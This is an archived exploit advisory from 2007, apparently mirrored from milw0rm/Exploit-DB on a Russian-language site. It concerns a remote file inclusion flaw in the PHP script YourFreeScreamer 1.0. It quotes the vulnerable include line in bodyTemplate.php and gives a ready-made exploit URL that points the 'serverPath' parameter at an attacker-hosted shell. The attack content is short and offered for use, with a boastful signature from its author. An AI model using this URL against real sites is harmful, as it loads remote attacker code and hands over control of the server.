Exploit YourFreeScreamer 1.0 - 'serverPath' Remote File Inclusion

[Exploiter]

EDB-ID

4075

Проверка EDB

1. Пройдено

Автор

CRACKERS_CHILD

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-3315 cve-2007-3271

Дата публикации

2007-06-17

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
Title    : YourFreeScreamer 1.0 Remote File Ä°nclude

Author   : Crackers_Child

Contact  : [email protected]

Bug      : in bodyTemplate.php " <? include ( $serverPath . "includes/form.php" );?> "

Down     : http://www.yfma.com/count/click.php?id=1
Site	 : http://yfma.com/yfs/

Exploit  : http://site.com/script_path/templates/2blue/bodyTemplate.php?serverPath=Sh3ll ?

Note     : [ Aq Mahkemelik Oldk daha ne olsn :) (ci) ] [ cRA 2 Ay YOK sAhalarda]

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

# milw0rm.com [2007-06-17]